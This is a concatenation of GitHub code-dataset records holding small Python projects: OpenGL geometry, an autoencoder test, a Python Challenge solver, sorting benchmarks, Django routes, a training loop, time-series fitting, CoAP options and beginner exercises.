(V[3], V[0], V[4]),\n #\n (V[7], V[8], V[4]),\n (V[6], V[7], V[4]),\n (V[5], V[6], V[4]),\n (V[8], V[5], V[4])\n]\n\nQ_PLANES = [\n (V[0], V[3], V[8], V[5]), # 1\n (V[0], V[1], V[6], V[5]), # 2\n (V[1], V[2], V[7], V[6]), # 3\n (V[2], V[3], V[8], V[7]), # 4\n]\n\n\nclass NotConvex:\n\n def __init__(self):\n self.t = 0.0\n self.is_rotated = False\n self.rotation_times = 0\n self.change_direction_times = 0\n self.unit = 1\n self.update(self.unit)\n self.rotation_limit = N\n\n def draw(self):\n glMaterialfv(GL_FRONT_AND_BACK, GL_DIFFUSE, WHITE)\n if not self.is_rotated:\n if self.rotation_times == N or self.rotation_times == N * 2:\n self.change_direction()\n self.rotate(self.unit)\n else:\n self.update(self.unit)\n # glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)\n glBegin(GL_TRIANGLES)\n for plane in T_PLANES:\n for vertex in plane:\n D = numpy.sqrt(pow(vertex[0], 2) + pow(vertex[1], 2) + pow(vertex[2], 2))\n normale_x = vertex[0] - V[4][0]\n normale_y = vertex[1] - V[4][1]\n normale_z = vertex[2] - V[4][2]\n glNormal3f(normale_x, normale_y, normale_z)\n glVertex3f(vertex[0], vertex[1], vertex[2])\n glEnd()\n\n # glBegin(GL_QUADS)\n # for plane in Q_PLANES:\n # for vertex in plane:\n # print(vertex)\n # glNormal3f(vertex[0], vertex[1], vertex[2])\n # glVertex3f(vertex[0], vertex[1], vertex[2])\n # glEnd()\n glMaterialfv(GL_FRONT_AND_BACK, GL_DIFFUSE, (0, 0, 0, 0))\n\n def position(self, t=0):\n self.t = t\n\n def change_direction(self):\n self.change_direction_times += 1\n self.rotation_times = 1\n self.is_rotated = False\n self.unit += 1\n\n def rotate(self, unit):\n if unit == 1:\n self.rotateXY()\n if unit == 2:\n self.rotateYZ()\n if unit == 3:\n self.rotateXY2()\n\n def rotateXY(self, direction=1):\n x0 = V[5][0]\n y0 = V[5][1]\n for i in range(len(V)):\n if (i == 5 or i == 6):\n continue\n vertex = V[i]\n x = vertex[0]\n y = vertex[1]\n R = numpy.sqrt(pow(x - x0, 2) + pow(y - y0, 2))\n angle = numpy.arccos((x - x0) / R)\n new_angle = angle + self.t\n # if i == 0 and angle >= numpy.pi / 2:\n # self.t += 0.005 * (self.unit * self.rotation_limit + self.rotation_times)\n if new_angle >= numpy.pi:\n self.is_rotated = True\n break\n new_x = x0 + direction * R * numpy.cos(new_angle)\n new_y = y0 + R * numpy.sin(new_angle)\n vertex[0] = new_x\n vertex[1] = new_y\n\n def rotateXY2(self):\n x0 = V[8][0]\n y0 = V[8][1]\n for i in range(len(V)):\n if (i == 8 or i == 7):\n continue\n vertex = V[i]\n x = vertex[0]\n y = vertex[1]\n R = numpy.sqrt(pow(x - x0, 2) + pow(y - y0, 2))\n angle = numpy.arccos((x - x0) / R)\n if i == 0 and angle <= 2 * numpy.pi / 3:\n self.t += 0.05\n new_angle = angle - self.t\n if new_angle <= 0:\n self.is_rotated = True\n break\n new_x = x0 + R * numpy.cos(new_angle)\n new_y = y0 + R * numpy.sin(new_angle)\n vertex[0] = new_x\n vertex[1] = new_y\n\n def rotateYZ(self):\n y0 = V[8][1]\n z0 = V[8][2]\n for i in range(len(V)):\n if (i == 5 or i == 8):\n continue\n vertex = V[i]\n y = vertex[1]\n z = vertex[2]\n R = numpy.sqrt(pow(y - y0, 2) + pow(z - z0, 2))\n angle = numpy.arccos((z0 - z) / R)\n if i == 0 and angle >= numpy.pi / 3:\n self.t += 0.01\n new_angle = angle + self.t\n if new_angle >= numpy.pi:\n self.is_rotated = True\n break\n new_y = y0 + R * numpy.sin(new_angle)\n new_z = z0 - R * numpy.cos(new_angle)\n vertex[1] = new_y\n vertex[2] = new_z\n\n def update(self, unit):\n global V\n global T_PLANES\n V = [[-W, +W, +W], # 0\n [-W, +W, -W], # 1\n [+W, +W, -W], # 2\n [+W, +W, +W], # 3\n [0, 0, 0], # 4\n [-W, -W, +W], # 5\n [-W, -W, -W], # 6\n [+W, -W, -W], # 7\n [+W, -W, +W]] # 8\n for v in V:\n if unit == 1:\n v[0] -= W * 2 * self.rotation_times\n if unit == 2:\n v[0] -= W * 2 * (N - 1)\n v[2] += W * 2 * self.rotation_times\n if unit == 3:\n v[0] -= W * 2 * (N - 1) - W * 2 * self.rotation_times\n v[2] += W * 2 * (N - 1)\n\n T_PLANES = [\n (V[0], V[1], V[4]),\n (V[1], V[6], V[4]),\n (V[6], V[5], V[4]),\n (V[5], V[0], V[4]),\n #\n (V[3], V[2], V[4]),\n (V[2], V[7], V[4]),\n (V[7], V[8], V[4]),\n (V[8], V[3], V[4]),\n #\n #\n (V[0], V[1], V[4]),\n (V[1], V[2], V[4]),\n (V[2], V[3], V[4]),\n (V[3], V[0], V[4]),\n #\n (V[7], V[8], V[4]),\n (V[6], V[7], V[4]),\n (V[5], V[6], V[4]),\n (V[8], V[5], V[4])\n ]\n self.is_rotated = False\n self.rotation_times += 1\n","repo_name":"veronikaKochugova/OpenGL","sub_path":"curs/NotConvex.py","file_name":"NotConvex.py","file_ext":"py","file_size_in_byte":6325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22242061338","text":"\nimport cv2\nfrom visualize import visualize, show_image\nfrom load_dataset import load_image\nfrom keras.models import load_model\nimport matplotlib.pyplot as plt\n\n# Load autoencoder model\nautoencoder_faces = load_model('models/faces/faces.h5')\nautoencoder_cocoon = load_model('models/cocoon/cocoon.h5')\nprint(autoencoder_faces.summary())\nprint(autoencoder_cocoon.summary())\n\n# Testing\ntst_img = load_image(\"test_images/selfie.webp\")\ntst_img = tst_img.astype('float32')/255.0 - 0.5\ntst_img_32 = cv2.resize(tst_img, (32, 32))\ntst_img_32 = cv2.resize(tst_img, (32, 32))\nout1 = autoencoder_faces.predict(tst_img_32[None])[0]\nout2 = autoencoder_cocoon.predict(tst_img_32[None])[0]\n#visualize(tst_img,encoder,decoder)\n\nplt.subplot(2,2,1)\nplt.title(\"Original\")\nshow_image(tst_img_32)\n\nplt.subplot(2,2,2)\nplt.title(\"Reconstructed\")\nshow_image(out1)\n\nplt.subplot(2,2,3)\n#plt.title(\"Original\")\nshow_image(tst_img_32)\n\nplt.subplot(2,2,4)\n#plt.title(\"Reconstructed\")\nshow_image(out2)\nplt.show()","repo_name":"dvillacis/objeto_selfie","sub_path":"test_autoencoder.py","file_name":"test_autoencoder.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34205031945","text":"\"\"\"\nhttp://huge:file@www.pythonchallenge.com/pc/return/evil.html\n\"\"\"\nfrom io import BytesIO\n\nimport requests\nfrom PIL import Image\n\nDATA = \"http://huge:file@www.pythonchallenge.com/pc/return/evil2.gfx\"\n\n\ndef solve():\n data = requests.get(DATA).content\n\n for offset in range(5):\n img_data = bytes(b for b in data[offset::5])\n Image.open(BytesIO(img_data)).show()\n\n\nif __name__ == \"__main__\":\n solve()\n","repo_name":"arjandepooter/python-challenge","sub_path":"12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3985111855","text":"import os\nimport random\nimport time\nimport matplotlib.pyplot as plt\nimport subprocess\nimport sys\n\ndata_sizes = [10000, 50000, 100000, 200000, 300000, 400000,\n 500000, 600000, 700000, 800000, 900000, 1000000]\nsort_times = {'heap_sort': [], 'merge_sort': [],\n 'quick_sort': [], 'shell_sort': []}\n\n\ndef compile_exe(sort_name: str) -> None:\n path = './src/{}.cpp'.format(sort_name)\n os.system('g++ -o ./exe/{} {}'.format(sort_name, path))\n\n\ndef call_exe(sort_name: str, random_data: list[int]) -> float:\n path = './exe/{}.exe'.format(sort_name)\n\n start_time = time.time()\n out = subprocess.Popen(path, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n out = out.communicate(input=' '.join(\n [str(i) for i in random_data]).encode('utf-8'))[0]\n end_time = time.time()\n\n out = out.decode('utf-8').split()\n out = [int(i) for i in out]\n if not check_sorted(out):\n print('Error: {} is not sorted!'.format(sort_name))\n sys.exit(1)\n\n return end_time - start_time\n\n\ndef check_sorted(data: list) -> bool:\n for i in range(len(data) - 1):\n if data[i] > data[i + 1]:\n return False\n return True\n\n\ndef generate_random_data(data_size: int) -> list[int]:\n data = [i for i in range(data_size)]\n random.shuffle(data)\n return data\n\n\ndef paint_data() -> None:\n for sort_name in sort_times.keys():\n plt.plot(data_sizes, sort_times[sort_name], label=sort_name)\n plt.xlabel('data size')\n plt.ylabel('running time')\n plt.title('running time of different sorting algorithms')\n plt.legend()\n plt.savefig('running_time.png')\n\ndef main() -> None:\n for sort_name in sort_times.keys():\n compile_exe(sort_name)\n\n for data_size in data_sizes:\n print('data size: {}'.format(data_size))\n random_data = generate_random_data(data_size)\n for sort_name in sort_times.keys():\n sort_times[sort_name].append(call_exe(sort_name, random_data))\n print('{} running time: {:.3f}'.format(sort_name, sort_times[sort_name][-1])) \n\n paint_data()\n\n\nif __name__ == '__main__': \n main()\n","repo_name":"fatbrother/Sorting-Graph","sub_path":"paint.py","file_name":"paint.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71526725852","text":"from django.urls import path\n\nfrom .views import getLiked, insertLiked, deleteLiked, getLikedMoive\n\nurlpatterns = [\n path('getLiked/', getLiked, name='getLiked'),\n path('insertLiked/', insertLiked, name='insertLiked'),\n path('deleteLiked/', deleteLiked, name='deleteLiked'),\n path('getLikedMoive/', getLikedMoive, name='getLikedMoive')\n]\n","repo_name":"BaeJihyun97/Movie_Recommendation","sub_path":"backend/djangoreactapi/service/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69894445851","text":"import torch\nimport os\n\nfrom abc import abstractmethod\nfrom numpy import inf\nfrom utils.io import prepare_device\nfrom logger import TensorboardWriter\n\nimport models.hppw as module_arch\nimport models.hppw as module_metric\nimport models.hppw as module_loss\nfrom models.projection.model import LinearProjection\nfrom utils.io import MetricTracker\n\nimport wandb\n\n\n\nclass BaseTrainer:\n \"\"\"\n Base class for all trainers\n \"\"\"\n def __init__(self, config):\n\n self.config = config\n self.logger = self.config.get_logger('trainer', config['trainer']['verbosity'])\n \n cfg_trainer = config['trainer']\n self.epochs = cfg_trainer['epochs']\n self.save_period = cfg_trainer['save_period']\n self.eval_period = cfg_trainer['eval_period']\n\n self.monitor = cfg_trainer.get('monitor', 'off')\n\n # configuration to monitor model performance and save best\n if self.monitor == 'off':\n self.monitor_mode = 'off'\n self.monitor_best = 0\n else:\n self.monitor_mode, self.monitor_metric = self.monitor.split()\n assert self.monitor_mode in ['min', 'max']\n\n self.monitor_best = inf if self.monitor_mode == 'min' else -inf\n\n # Only enable early stopping if given and above 0\n self.early_stop = cfg_trainer.get('early_stop', inf)\n if self.early_stop <= 0:\n self.early_stop = inf # training proceeds till the very last epoch\n\n self.monitor = cfg_trainer.get('monitor', 'off')\n\n # configuration to monitor model performance and save best\n if self.monitor == 'off':\n self.monitor_mode = 'off'\n self.monitor_best = 0\n else:\n self.monitor_mode, self.monitor_metric = self.monitor.split()\n assert self.monitor_mode in ['min', 'max']\n\n self.monitor_best = inf if self.monitor_mode == 'min' else -inf\n\n # Only enable early stopping if given and above 0\n self.early_stop = cfg_trainer.get('early_stop', inf)\n if self.early_stop <= 0:\n self.early_stop = inf # training proceeds till the very last epoch\n\n self.checkpoint_dir = config.save_dir\n\n # setup visualization writer instance\n self.writer = None\n if config['tensorboard']:\n self.writer = TensorboardWriter(config.log_dir, self.logger)\n\n\n self.start_epoch = 1\n self.best_epoch = 1\n self.best_epoch = 1\n self.current_epoch = 1\n self.best_top1 = 0\n\n # prepare for (multi-device) GPU training\n # This part doesn't do anything if you don't have a GPU.\n self._device, self._device_ids = prepare_device(config['n_gpu'])\n self.wandb_enabled = config['wandb']\n if self.wandb_enabled:\n self.wandb = wandb\n\n self.wandb.login()\n self.wandb.init(project=\"human-pose-prediction-in-the-wild\")\n \n self.model = config.init_obj('arch', module_arch)\n self.model_proj = LinearProjection(**config[\"arch3d\"])\n self.model.to(self._device)\n if len(self._device_ids) > 1:\n self.model = torch.nn.DataParallel(self.model, device_ids=self._device_ids)\n\n # Simply Log the model (enable if you want to see the model architecture)\n # self.logger.info(self.model)\n # Prepare Losses\n # self.criterion = getattr(module_loss, config['loss'])\n self.criterion = getattr(module_loss, config['loss'][\"type\"])\n # Prepare Optimizer\n trainable_params = filter(lambda p: p.requires_grad, self.model.parameters())\n self.optimizer = config.init_obj('optimizer', torch.optim, trainable_params)\n self.lr_scheduler = config.init_obj('lr_scheduler', torch.optim.lr_scheduler, self.optimizer) \n \n self.metric_ftns = [getattr(module_metric, met['type'])(**met['args']) for met in config['metrics']]\n self.epoch_metrics = MetricTracker(keys=['loss2d'] + [str(m) for m in self.metric_ftns], writer=self.writer)\n self.eval_metrics = MetricTracker(keys=['loss2d'] + [str(m) for m in self.metric_ftns], writer=self.writer)\n \n @abstractmethod\n def _train_epoch(self):\n \"\"\"\n Training logic for an epoch. Only takes care of doing a single training loop.\n\n :return: A dict that contains average loss and metric(s) information in this epoch.\n \"\"\"\n raise NotImplementedError\n\n def train(self):\n \"\"\"\n Full training logic\n \"\"\"\n\n self.not_improved_count = 0\n prev_metric_value = 999999999999999 if self.monitor_mode == \"min\" else 0 \n if self.wandb_enabled: wandb.watch(self.model, self.criterion, log='all')\n states = {\"loss2d\": {\"train\": [], \"val\": []}, \"loss3d\": {\"train\": [], \"val\": []}}\n for epoch in range(self.start_epoch, self.epochs + 1):\n \n if epoch % self.curriculum[\"duration\"] == 0:\n \n self.future_window += self.curriculum[\"step\"]\n self.history_window += self.curriculum[\"step\"]\n \n if self.history_window > self.max_history_window:\n self.history_window = self.max_history_window\n \n if self.future_window > self.max_future_window:\n self.future_window = self.max_future_window\n \n self.logger.info(f\"Setting curriculum to history window: {self.history_window}, future window: {self.future_window}\") \n\n \n self.current_epoch = epoch\n train_result = self._train_epoch()\n states[\"loss2d\"][\"train\"].append(train_result[\"loss2d\"])\n if self.use_projection:\n states[\"loss3d\"][\"train\"].append(train_result[\"loss3d\"])\n # save logged informations into log dict\n log = {'epoch': self.current_epoch}\n log.update(train_result)\n\n if self._do_evaluate():\n eval_result = self.evaluate(history_window=self.history_window, future_window=self.future_window)\n states[\"loss2d\"][\"val\"].append(eval_result[\"loss2d\"])\n if self.use_projection:\n states[\"loss3d\"][\"val\"].append(eval_result[\"loss3d\"])\n # save eval information to the log dict as well\n log.update({f'eval_{key}': value for key, value in eval_result.items()})\n if self.wandb_enabled:\n self.wandb.log(log)\n\n\n\n if self.monitor_mode != 'off' : # Then there is a metric to monitor\n if self.monitor_metric in log: # Then we have measured it in this epoch\n\n \n metric_value = log[self.monitor_metric]\n if self.monitor_mode == \"min\" and metric_value < prev_metric_value:\n self.not_improved_count = 0\n path = os.path.join(self.checkpoint_dir, f'best_model.pth')\n self.save_model(path=path)\n self.logger.info(f\"Saving model with best metric at {path}\") \n prev_metric_value = metric_value\n\n elif self.monitor_mode == \"max\" and metric_value > prev_metric_value:\n self.not_improved_count = 0\n path = os.path.join(self.checkpoint_dir, f'best_model.pth')\n self.save_model(path=path) \n self.logger.info(f\"Saving model with best metric at {path}\") \n prev_metric_value = metric_value\n \n else:\n if self.early_stop:\n self.not_improved_count += 1\n if self.not_improved_count == self.early_stop:\n self.logger.info(f\"No improvement so far... breaking...goodby\")\n break\n self.logger.info(f\"Patience running out... {self.not_improved_count}\") \n\n\n else:\n ## The metric wasn't measured in this epoch. Don't change not_impoved_count or similar things here!!!\n self.logger.warning(f\"Warning: At epoch {self.current_epoch} Metric '{self.monitor_metric}' wasn't measured. Not monitoring it for this epoch.\")\n \n # print logged information to the screen\n for key, value in log.items():\n self.logger.info(' {:15s}: {}'.format(str(key), value))\n\n if self.wandb_enabled: wandb.log(log)\n\n if self.current_epoch % self.save_period == 0:\n # Just to regularly save the model every save_period epochs\n path = os.path.join(self.checkpoint_dir, f'per_epoch_model.pth')\n self.save_model(path=path)\n self.lr_scheduler.step(eval_result[\"loss2d\"])\n # Always save the last model\n path = os.path.join(self.checkpoint_dir, f'last_model.pth')\n self.save_model(path=path)\n return states\n\n def _do_evaluate(self):\n \"\"\"\n Based on the self.current_epoch and self.eval_interval, determine if we should evaluate.\n You can take hint from saving logic implemented in BaseTrainer.train() method\n\n returns a Boolean\n \"\"\"\n if self.current_epoch % self.eval_period == 0:\n return True\n else:\n return False\n \n @abstractmethod\n def evaluate(self, loader=None):\n \"\"\"\n Evaluate the model on the val_loader given at initialization\n\n :param loader: A Dataloader to be used for evaluation. If not given, it will use the \n self._eval_loader that's set during initialization..\n :return: A dict that contains metric(s) information for validation set\n \"\"\"\n raise NotImplementedError\n \n def save_model(self, path=None):\n \"\"\"\n Saves only the model parameters.\n : param path: path to save model (including filename.)\n \"\"\"\n self.logger.info(\"Saving checkpoint: {} ...\".format(path))\n torch.save(self.model.state_dict(), path)\n self.logger.info(\"Checkpoint saved.\")\n \n def load_model(self, path=None):\n self.logger.info(\"Saving checkpoint: {} ...\".format(path))\n torch.save(self.model.state_dict(), path)\n self.logger.info(\"Checkpoint saved.\")\n\n def load_model(self, path=None):\n \"\"\"\n Loads model params from the given path.\n : param path: path to save model (including filename.)\n \"\"\"\n self.logger.info(\"Loading checkpoint: {} ...\".format(path))\n self.model.load_state_dict(torch.load(path))\n self.logger.info(\"Checkpoint loaded.\")\n\n\n def save_checkpoint(self, path=None):\n \"\"\"\n Saving TRAINING checkpoint. Including the model params and other training stats\n (optimizer, current epoch, etc.)\n\n :param path: if True, rename the saved checkpoint to 'model_best.ckpt'\n :param path: if True, rename the saved checkpoint to 'model_best.ckpt'\n \"\"\"\n arch = type(self.model).__name__\n state = {\n 'arch': arch,\n 'epoch': self.current_epoch,\n 'model': self.model.state_dict(),\n 'optimizer': self.optimizer.state_dict(),\n 'lr_scheduler': self.lr_scheduler.state_dict(),\n 'monitor_best': self.monitor_best,\n 'config': self.config\n }\n torch.save(state, path)\n self.logger.info(\"Saving checkpoint: {} ...\".format(path))\n\n\n def resume_checkpoint(self, resume_path=None):\n \"\"\"\n Loads TRAINING checkpoint. Including the model params and other training stats\n (optimizer, current epoch, etc.)\n\n :param path: Checkpoint path to be resumed\n \"\"\"\n resume_path = str(resume_path)\n self.logger.info(\"Loading checkpoint: {} ...\".format(resume_path))\n checkpoint = torch.load(resume_path)\n self.start_epoch = checkpoint['epoch'] + 1\n self.monitor_best = checkpoint['monitor_best']\n\n # load architecture params from checkpoint.\n if checkpoint['config']['arch'] != self.config['arch']:\n self.logger.warning(\"Warning: Architecture configuration given in config file is different from that of \"\n \"checkpoint. This may yield an exception while state_dict is being loaded.\")\n missing_keys, unexpected_keys = self.model.load_state_dict(checkpoint['model'], strict=False)\n if len(missing_keys) > 0:\n self.logger.warning(f\"[WARNING] missing keys: {missing_keys}\")\n if len(unexpected_keys) > 0:\n self.logger.warning(f\"[WARNING] unexpected keys: {unexpected_keys}\")\n\n # load optimizer state from checkpoint only when optimizer type is not changed.\n if checkpoint['config']['optimizer']['type'] != self.config['optimizer']['type']:\n self.logger.warning(\"Warning: Optimizer type given in config file is different from that of checkpoint. \"\n \"Optimizer parameters not being resumed.\")\n else:\n self.optimizer.load_state_dict(checkpoint['optimizer'])\n\n # load lr_scheduler state from checkpoint only when lr_scheduler type is not changed.\n if checkpoint['config']['lr_scheduler']['type'] != self.config['lr_scheduler']['type']:\n self.logger.warning(\"Warning: lr_scheduler type given in config file is different from that of checkpoint. \"\n \"lr_scheduler parameters not being resumed.\")\n else:\n self.lr_scheduler.load_state_dict(checkpoint['lr_scheduler'])\n\n self.logger.info(\"Checkpoint loaded. Resume training from epoch {}\".format(self.start_epoch))\n","repo_name":"mohammadasim98/human-pose-prediction-in-the-wild","sub_path":"src/trainers/base3d.py","file_name":"base3d.py","file_ext":"py","file_size_in_byte":13943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2602029529","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sympy import poly\nfrom sympy.abc import B, a, b, c, d\nfrom scipy.optimize import minimize, basinhopping, brute, least_squares\n\nfrom sarima_plus_plus import sampleSeasonalARIMA, calculateSeasonalARIMA_error, \\\n calculateSeasonalARIMA_error_minimization_form_slow, \\\n SARIMA_error_squared, difference_series\n\nif __name__ == '__main__':\n p_poly = None\n q_poly = poly(1 - a * B, B) * poly(1 - b * B ** 4, B) * poly(1 - c * B ** 30, B)\n d_poly = poly(1 - B, B)\n\n q_symbols = [a, b, c]\n q_ARIMA_coeffs = [0.6, 0.2, 0.1]\n est_p_poly = None\n est_q_poly: poly = poly(q_poly.subs(dict(zip(q_symbols, q_ARIMA_coeffs))), B)\n\n y_t = sampleSeasonalARIMA(est_p_poly, d_poly, est_q_poly, 1, 1000)\n plt.plot(y_t, label=\"sampled ARIMA\", marker='x')\n\n a_t_error = calculateSeasonalARIMA_error(y_t, est_p_poly, d_poly, est_q_poly)\n plt.plot(a_t_error, label='sampled ARIMA error', marker='.', markevery=10)\n\n print(\"est_q_poly\", est_q_poly)\n print(\"Expected value of shock a_t\", np.mean(a_t_error))\n print(\"sd of shock a_t\", np.sqrt(np.var(a_t_error)))\n # remember: don't square error to determine the sd of a_t\n\n plt.legend()\n plt.show()\n ###################################################################\n\n myx0 = np.random.random(len(q_ARIMA_coeffs))\n myx0 /= np.sum(myx0)\n\n w_t = difference_series(y_t, d_poly)\n\n res = minimize(SARIMA_error_squared, x0=myx0,\n args=(w_t, p_poly, q_poly, [], q_symbols, 0, len(q_ARIMA_coeffs)),\n method='Nelder-Mead', options={'maxiter': 5000, 'disp': True})\n print(\"estimated params (via minimize):\", res.df)\n print(\"true params:\", q_ARIMA_coeffs)\n print(\"initial guess:\", myx0)\n\n # warn: lm method does not allow bounds, therefore good initial guess is needed (?) (i.e. satisfying conditions like inveritibility)\n res = least_squares(calculateSeasonalARIMA_error_minimization_form_slow, bounds=(-2, 2), x0=myx0,\n args=(w_t, p_poly, q_poly, [], q_symbols, 0, len(q_ARIMA_coeffs)),\n )\n print(\"estimated params (via least_squares):\", res.x)\n print(\"true params:\", q_ARIMA_coeffs)\n print(\"initial guess:\", myx0)\n","repo_name":"Irfan-Mu3/ai-ds-projects","sub_path":"time_series_analysis/time_series_funcs/spp_MA_test.py","file_name":"spp_MA_test.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39314756962","text":"# input\nname = str(input(\"Enter last name: \"))\ndependents = int(input(\"Enter the number of dependents: \"))\ngrossIncome = float(input(\"Enter gross income: $\"))\nagi = grossIncome-dependents*12000\n\n# process phase\nif agi > 50000:\n itr = 0.20\nelse:\n itr = 0.10\nincomeTax = agi*itr\nif incomeTax < 0:\n incomeTax = 100\n\n# output\nprint(name)\nprint(\"Gross income: $\", grossIncome)\nprint(\"Number of dependents: \", dependents)\nprint(\"Adjusted gross income: $\", agi)\nprint(\"Income tax: \", incomeTax)","repo_name":"katieserg/CIS106-Katie-Sergiyenko","sub_path":"PS3P5.py","file_name":"PS3P5.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12486999604","text":"import sys\nread = sys.stdin.readline\n\nn = int(read())\n\nif n <= 2 :\n print(n)\n exit()\n\ndp1 = [0, 1]\ndp2 = [1, 1]\n\nfor i in range(2, n) :\n c = []\n c.append(dp2[1]%15746)\n c.append((dp1[1]+dp2[1]%15746))\n #print(c)\n dp1 = dp2\n dp2 = c\n\nprint(sum(c)%15746)\n","repo_name":"HyunJungJo98/Algorithm-Study","sub_path":"DP/1904 - 01타일.py","file_name":"1904 - 01타일.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9655189","text":"from coapthon import defines\nfrom coapthon.utils import byte_len\n\n__author__ = 'Giacomo Tanganelli'\n\n\nclass Option(object):\n \"\"\"\n Class to handle the CoAP Options.\n \"\"\"\n def __init__(self):\n \"\"\"\n Data structure to store options.\n \"\"\"\n self._number = None\n self._value = None\n\n @property\n def number(self):\n \"\"\"\n Return the number of the option.\n\n :return: the option number\n \"\"\"\n return self._number\n\n @number.setter\n def number(self, value):\n \"\"\"\n Set the option number.\n\n :type value: int\n :param value: the option number\n \"\"\"\n self._number = value\n\n @property\n def value(self):\n \"\"\"\n Return the option value.\n\n :return: the option value in the correct format depending on the option\n \"\"\"\n if type(self._value) is None:\n self._value = bytearray()\n opt_type = defines.OptionRegistry.LIST[self._number].value_type\n if opt_type == defines.INTEGER:\n if byte_len(self._value) > 0:\n return int(self._value)\n else:\n return defines.OptionRegistry.LIST[self._number].default\n return self._value\n\n @value.setter\n def value(self, value):\n \"\"\"\n Set the value of the option.\n\n :param value: the option value\n \"\"\"\n if type(value) is str:\n value = bytearray(value, \"utf-8\")\n elif type(value) is int and byte_len(value) != 0:\n value = value\n elif type(value) is int and byte_len(value) == 0:\n value = 0\n self._value = value\n\n @property\n def length(self):\n \"\"\"\n Return the value length\n\n :rtype : int\n \"\"\"\n if isinstance(self._value, int):\n return byte_len(self._value)\n if self._value is None:\n return 0\n return len(self._value)\n\n def is_safe(self):\n \"\"\"\n Check if the option is safe.\n\n :rtype : bool\n :return: True, if option is safe\n \"\"\"\n if self._number == defines.OptionRegistry.URI_HOST.number \\\n or self._number == defines.OptionRegistry.URI_PORT.number \\\n or self._number == defines.OptionRegistry.URI_PATH.number \\\n or self._number == defines.OptionRegistry.MAX_AGE.number \\\n or self._number == defines.OptionRegistry.URI_QUERY.number \\\n or self._number == defines.OptionRegistry.PROXY_URI.number \\\n or self._number == defines.OptionRegistry.PROXY_SCHEME.number:\n return False\n return True\n\n @property\n def name(self):\n \"\"\"\n Return option name.\n\n :rtype : String\n :return: the option name\n \"\"\"\n return defines.OptionRegistry.LIST[self._number].name\n\n def __str__(self):\n \"\"\"\n Return a string representing the option\n\n :rtype : String\n :return: a message with the option name and the value\n \"\"\"\n return self.name + \": \" + str(self.value) + \"\\n\"\n\n def __eq__(self, other):\n \"\"\"\n Return True if two option are equal\n\n :type other: Option\n :param other: the option to be compared against\n :rtype : Boolean\n :return: True, if option are equal\n \"\"\"\n return self.__dict__ == other.__dict__\n","repo_name":"Tanganelli/CoAPthon","sub_path":"coapthon/messages/option.py","file_name":"option.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"en","doc_type":"code","stars":216,"dataset":"github-code","pt":"32"} +{"seq_id":"43360385154","text":"\n#This program calculate the numbers of students with while loop\n\n#the main function\ndef main():\n endProgram, totalScore, averageScores, score, number, counter = declareVariable()\n\n while endProgram == \"no\":\n declareVariable()\n number = getNumber()\n totalScore = getScores(number,totalScore)\n averageScores = getAverage(totalScore, number)\n printAverage(averageScores)\n endProgram = input(\"Do you want to end the program?(Enter no to process a new set of test score)\")\n\ndef declareVariable():\n endProgram = \"no\"\n totalScore = 0.0\n averageScores = 0.0\n score = 0\n number = 0\n counter = 1\n return endProgram, totalScore, averageScores, score, number, counter\n\ndef getNumber():\n number = int(input(\"How many students took the test\"))\n return number\n\ndef getScores(number,totalScore):\n counter = 1\n while counter <= number:\n score = int(input(\"Enter the score\"))\n totalScore += score\n counter += 1\n return totalScore\n\ndef getAverage(totalScore, number):\n averageScore = totalScore/number\n return averageScore\n\ndef printAverage(averageScores):\n print(\"The average Score is \", averageScores)\n#calls main\nmain()\n","repo_name":"ssd2192/Python","sub_path":"Total Students with While Loop.py","file_name":"Total Students with While Loop.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31744889754","text":"# Write a program that asks the user to enter an integer and prints two integers, root\n# and pwr, such that 0 < pwr < 6 and root**pwr is equal to the integer entered by the user. If no\n# such pair of integers exists, it should print a message to that effect.\n\n\nimport math\n\n\n\nnum = int(input(\"Enter an integer: \"))\nfound = False\n\n#set 0 < power < 6\nfor pwr in range(1,6):\n #found root with built func math.sqrt\n #root = round(num**(1/pwr))\n root = math.sqrt(num)\n #compare if root**power == num entered\n if root**pwr == num:\n found = True\n #if True print(root, power)\n print(f\"root = {root} and power = {pwr}\")\n print(f\"{root}^{pwr} = {num}\")\n\nif not found:\n print(\"No such pair of integers exists.\")\n\n###WHILE LOOP VERSION\n\n# num = int(input(\"Enter an integer: \"))\n# found = False\n# pwr = 2\n\n# while pwr < 6:\n# root = round(num**(1/pwr))\n# if root**pwr == num:\n# found = True\n# print(f\"{root}^{pwr} = {num}\")\n# pwr += 1\n\n# if not found:\n# print(\"No such pair of integers exists.\")\n\n\n","repo_name":"ShadrackAdom/Data-Science-SelfTaught-Learning-Path","sub_path":"OSSU/MIT-Intro-to-CS-Python/FingerExercise/rootpwr.py","file_name":"rootpwr.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21338834568","text":"from __future__ import unicode_literals\nimport youtube_dl\n\"\"\"\n# 仅下载视频\ntimes = int(input('输入要下载视频的数量:'))\nfor i in range(times):\n ydl_opts = {}\n ys_url = 